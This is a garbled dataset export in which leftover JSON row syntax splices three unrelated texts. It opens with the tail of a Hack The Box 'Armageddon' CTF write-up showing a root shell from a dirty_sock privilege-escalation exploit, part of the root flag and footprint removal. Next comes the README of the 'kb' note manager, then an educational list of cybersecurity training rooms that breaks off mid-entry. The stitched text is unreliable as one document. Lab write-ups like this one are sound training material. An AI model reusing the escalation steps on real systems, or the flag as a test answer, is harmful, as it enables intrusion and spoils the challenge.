groups=0(root),1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n.bash-4.2> cut -c1-21 /root/root.txt\nced45363f68f009277256\n.bash-4.2> exit\nexit\n[+] Removing footprint...\n\n DONE!\n\n[brucetherealadmin@armageddon shm]$ \n```\n\nAnd we sucessfully pwned the box.\n\n![](/src/gifs/pwned.gif)\n\n---\n\n# Closing\nIf you liked the writeup, please consider [suporting](https://www.buymeacoffee.com/f4T1H21) a student to get `OSCP` exam and __+respecting__ my profile in HTB.\n\n\n \"f4T1H\"\n \n\n
\n\n \"Support\"\n \n\n\n# Resources\n|`Original dirty_sock`|https://github.com/initstring/dirty_sock|\n|:-|:-|\n|__`dirty_sock Remastered`__|__https://git.io/dirty_sock__|\n\n
\n\n___-Written by f4T1H-___\n"}}},{"rowIdx":265,"cells":{"text":{"kind":"string","value":"

\n \n

\n\n# kb. A minimalist knowledge base manager\n\n\nAuthor: gnc \n\nCopyright: © 2020, gnc\n\nDate: 2022-09-21\n\nVersion: 0.1.7\n\n\n## Purpose\n\nkb is a text-oriented minimalist command line knowledge base manager. kb\ncan be considered a quick note collection and access tool oriented toward\nsoftware developers, penetration testers, hackers, students or whoever\nhas to collect and organize notes in a clean way. Although kb is mainly\ntargeted on text-based note collection, it supports non-text files as well\n(e.g., images, pdf, videos and others).\n\nThe project was born from the frustration of trying to find a good way\nto quickly access my notes, procedures, cheatsheets and lists (e.g.,\npayloads) but at the same time, keeping them organized. This is\nparticularly useful for any kind of student. I use it in the context\nof penetration testing to organize pentesting procedures, cheatsheets,\npayloads, guides and notes.\n\nI found myself too frequently spending time trying to search for that\nparticular payload list quickly, or spending too much time trying to find\na specific guide/cheatsheet for a needed tool. kb tries to solve this\nproblem by providing you a quick and intuitive way to access knowledge.\n\nIn few words kb allows a user to quickly and efficiently:\n\n- collect items containing notes,guides,procedures,cheatsheets into\n an organized knowledge base;\n- filter the knowledge base on different metadata: title, category,\n tags and others;\n- visualize items within the knowledge base with (or without) syntax\n highlighting;\n- grep through the knowledge base using regexes;\n- import/export an entire knowledge base;\n\nBasically, kb provides a clean text-based way to organize your knowledge.\n\n\n## Installation\n\n**You should have Python 3.6 or above installed.**\n\nTo install the most recent stable version of kb just type:\n```sh\npip install -U kb-manager\n```\n\nIf you want to install the bleeding-edge version of kb (that may have\nsome bugs) you should do:\n```sh\ngit clone https://github.com/gnebbia/kb\ncd kb\npip install -r requirements.txt\npython setup.py install\n\n# or with pip\npip install -U git+https://github.com/gnebbia/kb\n```\n\n**Tip** for GNU/Linux and MacOS users: For a better user experience,\nalso set the following kb bash aliases:\n```sh\ncat < ~/.kb_alias\nalias kbl=\"kb list\"\nalias kbe=\"kb edit\"\nalias kba=\"kb add\"\nalias kbv=\"kb view\"\nalias kbd=\"kb delete --id\"\nalias kbg=\"kb grep\"\nalias kbt=\"kb list --tags\"\nEOF\necho \"source ~/.kb_alias\" >> ~/.bashrc\nsource ~/.kb_alias\n```\n\nPlease remember to upgrade kb frequently by doing:\n```sh\npip install -U kb-manager\n```\n\n### Installation with homebrew\n\nTo install using homebrew, use:\n```sh\nbrew tap gnebbia/kb https://github.com/gnebbia/kb.git\nbrew install gnebbia/kb/kb\n```\n\nTo upgrade with homebrew:\n```sh\nbrew update\nbrew upgrade gnebbia/kb/kb\n```\n\n### Installation from AUR\n\nArch Linux users can install [kb](https://aur.archlinux.org/packages/kb) or [kb-git](https://aur.archlinux.org/packages/kb-git) with their favorite [AUR Helper](https://wiki.archlinux.org/index.php/AUR_helpers).\n\nStable:\n```sh\nyay -S kb\n```\n\nDev:\n```sh\nyay -S kb-git\n```\n\n### Notes for Windows users\n\nWindows users should keep in mind these things:\n- DO NOT USE notepad as %EDITOR%, kb is not compatible with notepad,\n a reasonable alternative is notepad++;\n- %EDITOR% variable should ALWAYS be enclosed within double quotes;\n```sh\nEDITOR=C:\\Program Files\\Editor\\my cool editor.exe -> WRONG!\nEDITOR=\"C:\\Program Files\\Editor\\my cool editor.exe\" -> OK!\n```\n\nTo set the \"EDITOR\" Environment variable by using cmd.exe, just issue\nthe following commands, after having inserted the path to your desired\ntext editor:\n```sh\nset EDITOR=\"C:\\path\\to\\editor\\here.exe\"\nsetx EDITOR \"\\\"C:\\path\\to\\editor\\here.exe\\\"\"\n```\n\nTo set the \"EDITOR\" Environment variable by using Powershell, just issue\nthe following commands, after having inserted the path to your desired\ntext editor:\n```sh\n$env:EDITOR='\"C:\\path\\to\\editor\\here.exe\"'\n[System.Environment]::SetEnvironmentVariable('EDITOR','\"C:\\path\\to\\editor\\here.exe\"', [System.EnvironmentVariableTarget]::User)\n```\n\n#### Setting Aliases for cmd\n\nOpen a cmd.exe terminal with administrative rights and paste\nthe following commands:\n```sh\nreg add \"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Command Processor\" /v \"AutoRun\" /t REG_EXPAND_SZ /d \"%USERPROFILE%\\autorun.cmd\"\n(\necho @echo off\necho doskey kbl=kb list $*\necho doskey kbe=kb edit $*\necho doskey kba=kb add $*\necho doskey kbv=kb view $*\necho doskey kbd=kb delete --id $*\necho doskey kbg=kb grep $*\necho doskey kbt=kb list --tags $*\n)> %USERPROFILE%\\autorun.cmd\n```\n\n#### Setting Aliases for Powershell\n\nOpen a Powershell terminal and paste the following commands:\n```sh\n@'\nfunction kbl { kb list $args }\nfunction kbe { kb edit $args }\nfunction kba { kb add $args }\nfunction kbv { kb view $args }\nfunction kbd { kb delete --id $args }\nfunction kbg { kb grep $args }\nfunction kbt { kb list --tags $args }\n'@ > $env:USERPROFILE\\Documents\\WindowsPowerShell\\profile.ps1\n```\n\n\n## Docker\n\nA docker setup has been included to help with development.\n\nTo install and start the project with docker:\n```sh\ndocker-compose up -d\ndocker-compose exec kb bash\n```\n\nThe container has the aliases included in its `.bashrc` so you can use\nkb in the running container as you would if you installed it on the\nhost directly. The `./docker/data` directory on the host is bound to\n`/data` in the container, which is the image's working directly also.\nTo interact with the container, place (or symlink) the files on your host\ninto the `./docker/data` directory, which can then be seen and used in\nthe `/data` directory in the container.\n\n## Usage\n\n\n\n### List artifacts\n\n#### List all artifacts contained in the kb knowledge base\n```sh\nkb list\n\n# or if aliases are used:\nkbl\n```\n\n#### List all artifacts containing the string \"zip\"\n```sh\nkb list zip\n\n# or if aliases are used:\nkbl zip\n```\n\n#### List all artifacts belonging to the category \"cheatsheet\"\n```sh\nkb list --category cheatsheet\n# or\nkb list -c cheatsheet\n\n# or if aliases are used:\nkbl -c cheatsheet\n```\n\n#### List all the artifacts having the tags \"web\" or \"pentest\"\n```sh\nkb list --tags \"web;pentest\"\n\n# or if aliases are used:\nkbl --tags \"web;pentest\"\n```\n\n#### List using \"verbose mode\"\n```sh\nkb list -v\n\n# or if aliases are used:\nkbl -v\n```\n\n\n### Add artifacts\n\n#### Add a file to the collection of artifacts\n```sh\nkb add ~/Notes/cheatsheets/pytest\n\n# or if aliases are used:\nkba ~/Notes/cheatsheets/pytest\n```\n\n#### Add a file to the artifacts\n```sh\nkb add ~/ssh_tunnels --title pentest_ssh --category \"procedure\" \\\n --tags \"pentest;network\" --author \"gnc\" --status \"draft\"\n```\n\n#### Add all files contained in a directory to kb\n```sh\nkb add ~/Notes/cheatsheets/general/* --category \"cheatsheet\"\n```\n\n#### Create a new artifact from scratch\n```sh\nkb add --title \"ftp\" --category \"notes\" --tags \"protocol;network\"\n# a text editor ($EDITOR) will be launched for editing\n```\n\n#### Create a new artifact from the output of another program\n```sh\nkb add --title \"my_network_scan\" --category \"scans\" --body \"$(nmap -T5 -p80 192.168.1.0/24)\"\n```\n\n### Delete artifacts\n\n#### Delete an artifact by ID\n```sh\nkb delete --id 2\n\n# or if aliases are used:\nkbd 2\n```\n\n#### Delete multiple artifacts by ID\n```sh\nkb delete --id 2 3 4\n\n# or if aliases are used:\nkbd 2 3 4\n```\n\n#### Delete an artifact by name\n```sh\nkb delete --title zap --category cheatsheet\n```\n\n\n### View artifacts\n\n#### View an artifact by id\n```sh\nkb view --id 3\n# or\nkb view -i 3\n# or \nkb view 3\n\n# or if aliases are used:\nkbv 3\n```\n\n#### View an artifact by name\n```sh\nkb view --title \"gobuster\"\n# or\nkb view -t \"gobuster\"\n# or\nkb view gobuster\n```\n\n#### View an artifact without colors\n```sh\nkb view -t dirb -n\n```\n\n#### View an artifact within a text-editor\n```sh\nkb view -i 2 -e\n\n# or if aliases are used:\nkbv 2 -e\n```\n\n\n### Edit artifacts\n\nEditing artifacts involves opening a text editor.\nHence, binary files cannot be edited by kb.\n\nThe editor can be set by the \"EDITOR\" environment\nvariable.\n\n#### Edit an artifact by id\n```sh\nkb edit --id 13\n# or\nkbe 13\n# or if aliases are used:\nkbe 13 \n```\n\n#### Edit an artifact by name\n```sh\nkb edit --title \"git\" --category \"cheatsheet\"\n# or\nkb edit -t \"git\" -c \"cheatsheet\"\n# or if git is unique as artifact\nkb edit git\n```\n\n### Grep through artifacts\n\n#### Grep through the knowledge base\n```sh\nkb grep \"[bg]zip\"\n\n# or if aliases are used:\nkbg \"[bg]zip\"\n```\n\n#### Grep (case-insensitive) through the knowledge base\n```sh\nkb grep -i \"[BG]ZIP\"\n```\n\n#### Grep in \"verbose mode\" through the knowledge base\n```sh\nkb grep -v \"[bg]zip\"\n```\n\n#### Grep through the knowledge base and show matching lines\n```sh\nkb grep -m \"[bg]zip\"\n```\n\n### Import/Export/Erase a knowledge base\n\n#### Export the current knowledge base\n\nTo export the entire knowledge base, do:\n```sh\nkb export\n```\nThis will generate a .kb.tar.gz archive that can\nbe later be imported by kb.\n\nIf you want to export only data (so that it can be used in other software):\n\n```sh\n kb export --only-data\n```\n\nThis will export a directory containing a subdirectory for each category\nand within these subdirectories we will have all the artifacts belonging\nto that specific category.\n\n#### Import a knowledge base\n```sh\nkb import archive.kb.tar.gz\n```\n**NOTE**: Importing a knowledge base erases all the previous\ndata. Basically it erases everything and imports the new knowledge base.\n\n#### Erase the entire knowledge base\n```sh\nkb erase\n```\n\n\n### Manage Templates\n\nkb supports custom templates for the artifacts.\nA template is basically a file using the \"toml\" format,\nstructured in this way:\n```sh\nTITLES = [ \"^#.*\", \"blue\", ]\nWARNINGS = [ \"!.*\" , \"yellow\",]\nCOMMENTS = [ \";;.*\", \"green\", ]\n```\n\nWhere the first element of each list is a regex and the second element\nis a color.\n\nNote that by default an artifact is assigned with the 'default'\ntemplate, and this template can be changed too (look at \"Edit a template\"\nsubsection).\n\n\n#### List available templates\n\nTo list all available templates:\n```sh\nkb template list\n```\n\nTo list all the templates containing the string \"theory\":\n```sh\nkb template list \"theory\"\n```\n\n#### Create a new template\n\nCreate a new template called \"lisp-cheatsheets\", note that\nan example template will be put as example in the editor.\n```sh\nkb template new lisp-cheatsheets\n```\n\n#### Delete a template\n\nTo delete the template called \"lisp-cheatsheets\" just do:\n```sh\nkb template delete lisp-cheatsheets\n```\n\n#### Edit a template\n\nTo edit the template called \"listp-cheatsheets\" just do:\n```sh\nkb template edit lisp-cheatsheets\n```\n\n#### Add a template\n\nWe can also add a template from an already existing toml configuration file\nby just doing:\n```sh\nkb template add ~/path/to/myconfig.toml --title myconfig\n```\n\n#### Change template for an artifact\n\nWe can change the template for an existing artifact by ID by using the\nupdate command:\n```sh\nkb update --id 2 --template \"lisp-cheatsheets\"\n```\n\n#### Apply a template to all artifacts of a category\n\nWe can apply the template \"lisp-cheatsheets\" to all artifacts\nbelonging to the category \"lispcode\" by doing:\n```sh\nkb template apply \"lisp-cheatsheets\" --category \"lispcode\"\n```\n\n#### Apply a template to all artifacts having zip in their title\n\nWe can apply the template \"dark\" to all artifacts having in their title\nthe string \"zip\" (e.g., bzip, 7zip, zipper) by doing:\n```sh\nkb template apply \"dark\" --title \"zip\" --extended-match\n# or \nkb template apply \"dark\" --title \"zip\" -m\n```\nWe can always have our queries to \"contain\" the string by using\nthe `--extended-match` option when using `kb template apply`.\n\n#### Apply a template to all artifacts having specific properties\n\nWe can apply the template \"light\" to all artifacts of the category\n\"cheatsheet\" who have as author \"gnc\" and as status \"OK\" by doing:\n```sh\nkb template apply \"light\" --category \"cheatsheet\" --author \"gnc\" --status \"OK\"\n```\n\n### Integrating kb with other tools\n\nkb can be integrated with other tools.\n\n#### kb and rofi\n\nWe can integrate kb with rofi, a custom mode has been developed\naccessible in the \"misc\" directory within this repository.\n\nWe can launch rofi with this mode by doing:\n\n```sh\nrofi -show kb -modi kb:/path/to/rofi-kb-mode.sh\n```\n\n### Experimental\n\n#### Synchronize kb with a remote git repository\n\nSynchronization with a remote git repository is experimental at the moment.\nAnyway we can initialize our knowledge base to a created empty\ngithub/gitlab (other git service) repository by doing:\n```sh\nkb sync init\n```\n\nWe can then push our knowledge base to the remote git repository with:\n```sh\nkb sync push\n```\n\nWe can pull (e.g., from another machine) our knowledge base from the\nremote git repository with:\n```sh\nkb sync pull\n```\n\nWe can at any time view to what remote endpoint our knowledge is synchronizing\nto with:\n```sh\nkb sync info\n```\n\n\n## UPGRADE\n\nIf you want to upgrade kb to the most recent stable release do:\n```sh\npip install -U kb-manager\n```\n\nIf instead you want to update kb to the most recent release \n(that may be bugged), do:\n```sh\ngit clone https://github.com/gnebbia/kb \ncd kb\npip install --upgrade .\n```\n\n## DONATIONS\n\nI am an independent developer working on kb in my free time,\nif you like kb and would like to say thank you, buy me a beer!\n\n[![paypal](https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif)](https://paypal.me/nebbione)\n\n## COPYRIGHT\n\nCopyright 2020 Giuseppe Nebbione.\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n"}}},{"rowIdx":266,"cells":{"text":{"kind":"string","value":"# Awesome Cyber Security University Overview\n\n🎓 Because Education should be free. Contributions welcome! 🕵️ \n\n[🏠 Home](/README.md) · [🔥 Feed](https://www.trackawesomelist.com/brootware/awesome-cyber-security-university/rss.xml) · [📮 Subscribe](https://trackawesomelist.us17.list-manage.com/subscribe?u=d2f0117aa829c83a63ec63c2f&id=36a103854c) · [❤️ Sponsor](https://github.com/sponsors/theowenyoung) · [😺 brootware/awesome-cyber-security-university](https://github.com/brootware/awesome-cyber-security-university) · ⭐ 488 · 🏷️ Security\n\n[ [Daily](/content/brootware/awesome-cyber-security-university/README.md) / [Weekly](/content/brootware/awesome-cyber-security-university/week/README.md) / Overview ]\n\n---\n\n# Awesome Cyber Security University [![Awesome](https://awesome.re/badge.svg)](https://awesome.re)\n\n> A curated list of awesome and free educational resources that focuses on learn by doing.\n\n
\n\n
\nBecause education should be free.\n
\n\n\n\n
\n\n## Contents\n\n* [About](#about)\n* [Introduction and Pre-Security](#introduction-and-pre-security) - (Completed/In Progress)\n* [Free Beginner Red Team Path](#free-beginner-red-team-path) - (Add your badge here. The badge code is hidden in this repo)\n* [Free Beginner Blue Team Path](#free-beginner-blue-team-path) - (Add your badge here. The badge code is hidden in this repo)\n* [Bonus CTF practice and Latest CVEs](#bonus-ctf-practice-and-latest-cves) - (Completed/In Progress)\n* [Bonus Windows](#bonus-windows) - (Completed/In Progress)\n* [Extremely Hard Rooms to do](#extremely-hard-rooms-to-do) - (Completed/In Progress)\n\n\n\n## About\n\nCyber Security University is A curated list of awesome and free educational resources that focus on learning by doing.\n\nThere are 6 parts to this. Introduction and Pre-security, Free Beginner Red Team Path, Free Beginner Blue Team Path, Bonus practices/latest CVEs and Extremely Hard rooms to do. The tasks are linear in nature of the difficulty. So it's recommended to do it in order. But you can still jump around and skip some rooms If you find that you are already familiar with the concepts.\n\n\n\nAs you go through the curriculum, you will find completion badges that are hidden within this [`README.md`](https://github.com/brootware/Cyber-Security-University/blob/main/README.md) for both red and blue team path completion badges. You can copy the HTML code for them and add it to the content page below once you have completed them.\n\n\n\n[↑](#contents)\n\n\n\n## Contributing\n\nPull requests are welcome with the condition that the resource should be free! Please read the [contribution guide in the wiki (⭐488)](https://github.com/brootware/Cyber-Security-University/wiki) if you wish to add tools or resources.\n\n## Introduction and Pre-Security\n\n### Level 1 - Intro\n\n\n\n* [OpenVPN](https://tryhackme.com/room/openvpn) - Learn how to connect to a virtual private network using OpenVPN.\n* [Welcome](https://tryhackme.com/jr/welcome) - Learn how to use a TryHackMe room to start your upskilling in cyber security.\n* [Intro to Researching](https://tryhackme.com/room/introtoresearch) - A brief introduction to research skills for pentesting.\n* [Linux Fundamentals 1](https://tryhackme.com/room/linuxfundamentalspart1) - Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.\n* [Linux Fundamentals 2](https://tryhackme.com/room/linuxfundamentalspart2) - Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.\n* [Linux Fundamentals 3](https://tryhackme.com/room/linuxfundamentalspart3) - Embark on the journey of learning the fundamentals of Linux. Learn to run some of the first essential commands on an interactive terminal.\n* [Pentesting fundamentals](https://tryhackme.com/room/pentestingfundamentals) - Fundamentals of penetration testing.\n* [Principles of security](https://tryhackme.com/room/principlesofsecurity) - Principles of security.\n* [Red Team Engagements](https://tryhackme.com/room/redteamengagements) - Intro to red team engagements.\n* [Hip Flask](https://tryhackme.com/room/hipflask) - An in-depth walkthrough covering pentest methodology against a vulnerable server.\n\n\n\n**Introductory CTFs to get your feet wet**\n\n* [Google Dorking](https://tryhackme.com/room/googledorking) - Explaining how Search Engines work and leveraging them into finding hidden content!\n* [Osint](https://tryhackme.com/room/ohsint) - Intro to Open Source Intelligence.\n* [Shodan.io](https://tryhackme.com/room/shodan) - Learn about Shodan.io and how to use it for device enumeration.\n\n\n\n[↑](#contents)\n\n## Free Beginner Red Team Path\n\n### Level 2 - Tooling\n\n* [Tmux](https://tryhackme.com/room/rptmux) - Learn to use tmux, one of the most powerful multi-tasking tools on linux.\n* [Nmap](https://tryhackme.com/room/rpnmap) - Get experience with Nmap, a powerful network scanning tool.\n* [Web Scanning](https://tryhackme.com/room/rpwebscanning) - Learn the basics of automated web scanning.\n* [Sublist3r](https://tryhackme.com/room/rpsublist3r) - Learn how to find subdomains with Sublist3r.\n* [Metasploit](https://tryhackme.com/room/rpmetasploit) - An introduction to the main components of the Metasploit Framework.\n* [Hydra](https://tryhackme.com/room/hydra) - Learn about and use Hydra, a fast network logon cracker, to bruteforce and obtain a website's credentials.\n* [Linux Privesc](https://tryhackme.com/room/linuxprivesc) - Practice your Linux Privilege Escalation skills on an intentionally misconfigured Debian VM with multiple ways to get root! SSH is available.\n* [Red Team Fundamentals](https://tryhackme.com/room/redteamfundamentals) - Learn about the basics of a red engagement, the main components and stakeholders involved, and how red teaming differs from other cyber security engagements.\n* [Red Team Recon](https://tryhackme.com/room/redteamrecon) - Learn how to use DNS, advanced searching, Recon-ng, and Maltego to collect information about your target.\n\n\n\n**Red Team Intro CTFs**\n\n* [Vulnversity](https://tryhackme.com/room/vulnversity) - Learn about active recon, web app attacks and privilege escalation.\n* [Blue](https://tryhackme.com/room/blue) - Deploy & hack into a Windows machine, leveraging common misconfigurations issues.\n* [Simple CTF](https://tryhackme.com/room/easyctf) - Beginner level CTF.\n* [Bounty Hacker](https://tryhackme.com/room/cowboyhacker) - A space cowboy-themed boot to root machine.\n\n\n\n[↑](#contents)\n\n### Level 3 - Crypto & Hashes with CTF practice\n\n* [Crack the hash](https://tryhackme.com/room/crackthehash) - Cracking hash challenges.\n* [Agent Sudo](https://tryhackme.com/room/agentsudoctf) - You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.\n* [The Cod Caper](https://tryhackme.com/room/thecodcaper) - A guided room taking you through infiltrating and exploiting a Linux system.\n* [Ice](https://tryhackme.com/room/ice) - Deploy & hack into a Windows machine, exploiting a very poorly secured media server.\n* [Lazy Admin](https://tryhackme.com/room/lazyadmin) - Easy linux machine to practice your skills.\n* [Basic Pentesting](https://tryhackme.com/room/basicpentestingjt) - This is a machine that allows you to practice web app hacking and privilege escalation.\n* [Bypassing UAC](https://tryhackme.com/room/bypassinguac) - Learn common ways to bypass User Account Control (UAC) in Windows hosts.\n\n\n\n[↑](#contents)\n\n### Level 4 - Web\n\n* [OWASP top 10](https://tryhackme.com/room/owasptop10) - Learn about and exploit each of the OWASP Top 10 vulnerabilities; the 10 most critical web security risks.\n* [Inclusion](https://tryhackme.com/room/inclusion) - A beginner-level LFI challenge.\n* [Injection](https://tryhackme.com/room/injection) - Walkthrough of OS Command Injection. Demonstrate OS Command Injection and explain how to prevent it on your servers.\n* [Juiceshop](https://tryhackme.com/room/owaspjuiceshop) - This room uses the OWASP juice shop vulnerable web application to learn how to identify and exploit common web application vulnerabilities.\n* [Overpass](https://tryhackme.com/room/overpass) - What happens when some broke CompSci students make a password manager.\n* [Year of the Rabbit](https://tryhackme.com/room/yearoftherabbit) - Can you hack into the Year of the Rabbit box without falling down a hole.\n* [DevelPy](https://tryhackme.com/room/bsidesgtdevelpy) - Boot2root machine for FIT and bsides Guatemala CTF.\n* [Jack of all trades](https://tryhackme.com/room/jackofalltrades) - Boot-to-root originally designed for Securi-Tay 2020.\n* [Bolt](https://tryhackme.com/room/bolt) - Bolt themed machine to root into.\n\n\n\n[↑](#contents)\n\n### Level 5 - Reverse Engineering & Pwn\n\n* [Intro to x86 64](https://tryhackme.com/room/introtox8664) - This room teaches the basics of x86-64 assembly language.\n* [CC Ghidra](https://tryhackme.com/room/ccghidra) - This room teaches the basics of ghidra.\n* [CC Radare2](https://tryhackme.com/room/ccradare2) - This room teaches the basics of radare2.\n* [Reverse Engineering](https://tryhackme.com/room/reverseengineering) - This room focuses on teaching the basics of assembly through reverse engineering.\n* [Reversing ELF](https://tryhackme.com/room/reverselfiles) - Room for beginner Reverse Engineering CTF players.\n* [Dumping Router Firmware](https://tryhackme.com/room/rfirmware) - Reverse engineering router firmware.\n* [Intro to pwntools](https://tryhackme.com/room/introtopwntools) - Introduction to popular pwn tools framework.\n* [Pwnkit: CVE-2021-4034](https://tryhackme.com/room/pwnkit) - Interactive lab for exploiting and remediating Pwnkit (CVE-2021-4034) in the Polkit package.\n\n\n\n[↑](#contents)\n\n### Level 6 - PrivEsc\n\n* [Sudo Security Bypass](https://tryhackme.com/room/sudovulnsbypass) - A tutorial room exploring CVE-2019-14287 in the Unix Sudo Program. Room One in the SudoVulns Series.\n* [Sudo Buffer Overflow](https://tryhackme.com/room/sudovulnsbof) - A tutorial room exploring CVE-2019-18634 in the Unix Sudo Program. Room Two in the SudoVulns Series.\n* [Windows Privesc Arena](https://tryhackme.com/room/windowsprivescarena) - Students will learn how to escalate privileges using a very vulnerable Windows 7 VM.\n* [Linux Privesc Arena](https://tryhackme.com/room/linuxprivescarena) - Students will learn how to escalate privileges using a very vulnerable Linux VM.\n* [Windows Privesc](https://tryhackme.com/room/windows10privesc) - Students will learn how to escalate privileges using a very vulnerable Windows 7 VM.\n* [Blaster](https://tryhackme.com/room/blaster) - Metasploit Framework to get a foothold.\n* [Ignite](https://tryhackme.com/room/ignite) - A new start-up has a few security issues with its web server.\n* [Kenobi](https://tryhackme.com/room/kenobi) - Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.\n* [Capture the flag](https://tryhackme.com/room/c4ptur3th3fl4g) - Another beginner-level CTF challenge.\n* [Pickle Rick](https://tryhackme.com/room/picklerick) - Rick and Morty themed LFI challenge.\n\n> Congratulations! If you have finished until here. You deserve a badge! Put this in your writeups or git profile. You can continue doing the below CTFs.\n\n
\n Click here to get your red team badge!\n\n\n\n
\n\n\n\n[↑](#contents)\n\n## Free Beginner Blue Team Path\n\n### Level 1 - Tools\n\n* [Introduction to digital forensics](https://tryhackme.com/room/introdigitalforensics) - Intro to Digital Forensics.\n* [Windows Fundamentals](https://tryhackme.com/room/windowsfundamentals1xbx) - Intro to Windows.\n* [Nessus](https://tryhackme.com/room/rpnessusredux) - Intro to nessus scan.\n* [Mitre](https://tryhackme.com/room/mitre) - Intro to Mitre attack framework.\n* [IntroSIEM](https://tryhackme.com/room/introtosiem) - Introduction to SIEM.\n* [Yara](https://tryhackme.com/room/yara) - Intro to yara for malware analysis.\n* [OpenVAS](https://tryhackme.com/room/openvas) - Intro to openvas.\n* [Intro to Honeypots](https://tryhackme.com/room/introductiontohoneypots) - Intro to honeypots.\n* [Volatility](https://tryhackme.com/room/bpvolatility) - Intro to memory analysis with volatility.\n* [Red Line](https://tryhackme.com/room/btredlinejoxr3d) - Learn how to use Redline to perform memory analysis and scan for IOCs on an endpoint.\n* [Autopsy](https://tryhackme.com/room/autopsy2ze0) - Use Autopsy to investigate artifacts from a disk image.\n\n\n\n[↑](#contents)\n\n### Level 2 - Security Operations, Incident Response & Threat Hunting\n\n* [Investigating Windows](https://tryhackme.com/room/investigatingwindows) - Investigating Windows.\n* [Juicy Details](https://tryhackme.com/room/juicydetails) - A popular juice shop has been breached! Analyze the logs to see what had happened.\n* [Carnage](https://tryhackme.com/room/c2carnage) - Apply your analytical skills to analyze the malicious network traffic using Wireshark.\n* [Squid Game](https://tryhackme.com/room/squidgameroom) - Squid game-themed CTF.\n* [Splunk Boss of the SOC V1](https://tryhackme.com/room/bpsplunk) - Part of the Blue Primer series, learn how to use Splunk to search through massive amounts of information.\n* [Splunk Boss of the SOC V2](https://cyberdefenders.org/blueteam-ctf-challenges/16) - Splunk analysis vol 2.\n* [Splunk Boss of the SOC V3](https://cyberdefenders.org/blueteam-ctf-challenges/8) - Splunk analysis vol 3.\n* [Hunt Conti with Splunk](https://tryhackme.com/room/contiransomwarehgh) - An Exchange server was compromised with ransomware. Use Splunk to investigate how the attackers compromised the server.\n* [Hunting for Execution Tactic](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-3) - Join Cyborg Security's expert threat hunters as they dive into the interesting MITRE ATT\\&CK Tactic of Execution (TA0002).\n* [Hunting for Credential Access](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-5) - Join Cyborg Security's expert threat hunters as they dive into the interesting MITRE ATT\\&CK Tactic of Credential Access (TA0006).\n* [Hunting for Persistence Access](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-2) - Join Cyborg Security's team of threat hunting instructors for a fun and hands-on-keyboard threat hunting workshop covering the topic of adversarial persistence (TA0003).\n* [Hunting for Defense Evation](https://info.cyborgsecurity.com/en-us/threat-hunting-workshop-4) - Join Cyborg Security's expert threat hunters as they dive into the interesting MITRE ATT\\&CK Tactic of Defense Evasion (TA0005).\n\n\n\n[↑](#contents)\n\n\n\n### Level 3 - Beginner Forensics & Cryptography\n\n* [Martryohka doll](https://play.picoctf.org/practice/challenge/129?category=4\\&page=1\\&solved=0) - Beginner file analysis challenge.\n* [The Glory of the Garden](https://play.picoctf.org/practice/challenge/44?category=4\\&page=1\\&solved=0) - Beginner image analysis challenge.\n* [Packets Primer](https://play.picoctf.org/practice/challenge/286?category=4\\&page=2\\&solved=0) - Beginner packet analysis challenge.\n* [Wireshark doo doo doo](https://play.picoctf.org/practice/challenge/115?category=4\\&page=1\\&solved=0) - Beginner packet analysis challenge.\n* [Wireshark two two two](https://play.picoctf.org/practice/challenge/110?category=4\\&page=1\\&solved=0) - Beginner packet analysis challenge.\n* [Trivial flag transfer protocol](https://play.picoctf.org/practice/challenge/103?category=4\\&page=1\\&solved=0) - Beginner packet analysis challenge.\n* [What Lies within](https://play.picoctf.org/practice/challenge/74?category=4\\&page=2\\&solved=0) - Beginner decoding analysis challenge.\n* [Illumination](https://app.hackthebox.com/challenges/illumination) - Medium level forensics challenge.\n* [Emo](https://app.hackthebox.com/challenges/emo) - Medium level forensics challenge.\n* [Obsecure](https://app.hackthebox.com/challenges/obscure) - Medium level forensics challenge.\n* [Bucket - Cloud Security Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/84) - Medium level cloud security challenge.\n* [Introduction to Cryptohack](https://cryptohack.org/courses/intro/course_details/) - Medium level cryptography challenge.\n\n\n\n[↑](#contents)\n\n### Level 4 - Memory & Disk Forensics\n\n* [Sleuthkit Intro](https://play.picoctf.org/practice/challenge/301?category=4\\&page=2\\&solved=0) - Medium level disk forensics challenge.\n* [Reminiscent](https://app.hackthebox.com/challenges/reminiscent) - Medium level disk forensics challenge.\n* [Hunter - Windows Disk Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/32) - Medium level disk forensics challenge.\n* [Spotlight - Mac Disk Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/34) - Medium level disk forensics challenge.\n* [Ulysses - Linux Disk Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/41) - Medium level disk forensics challenge.\n* [Banking Troubles - Windows Memory Image Forensics](https://cyberdefenders.org/blueteam-ctf-challenges/43) - Medium level memory forensics challenge.\n* [Detect Log4J](https://cyberdefenders.org/blueteam-ctf-challenges/86) - Medium level disk forensics challenge.\n\n\n\n[↑](#contents)\n\n### Level 5 - Malware and Reverse Engineering\n\n* [History of Malware](https://tryhackme.com/room/historyofmalware) - Intro to malware history.\n* [Malware Introduction](https://tryhackme.com/room/malmalintroductory) - Intro to malware.\n* [Basic Malware Reverse Engineering](https://tryhackme.com/room/basicmalwarere) - Intro to malware RE.\n* [Intro Windows Reversing](https://tryhackme.com/room/windowsreversingintro) - Intro to Windows RE.\n* [Windows x64 Assembly](https://tryhackme.com/room/win64assembly) - Introduction to x64 Assembly on Windows.\n* [JVM reverse engineering](https://tryhackme.com/room/jvmreverseengineering) - Learn Reverse Engineering for Java Virtual 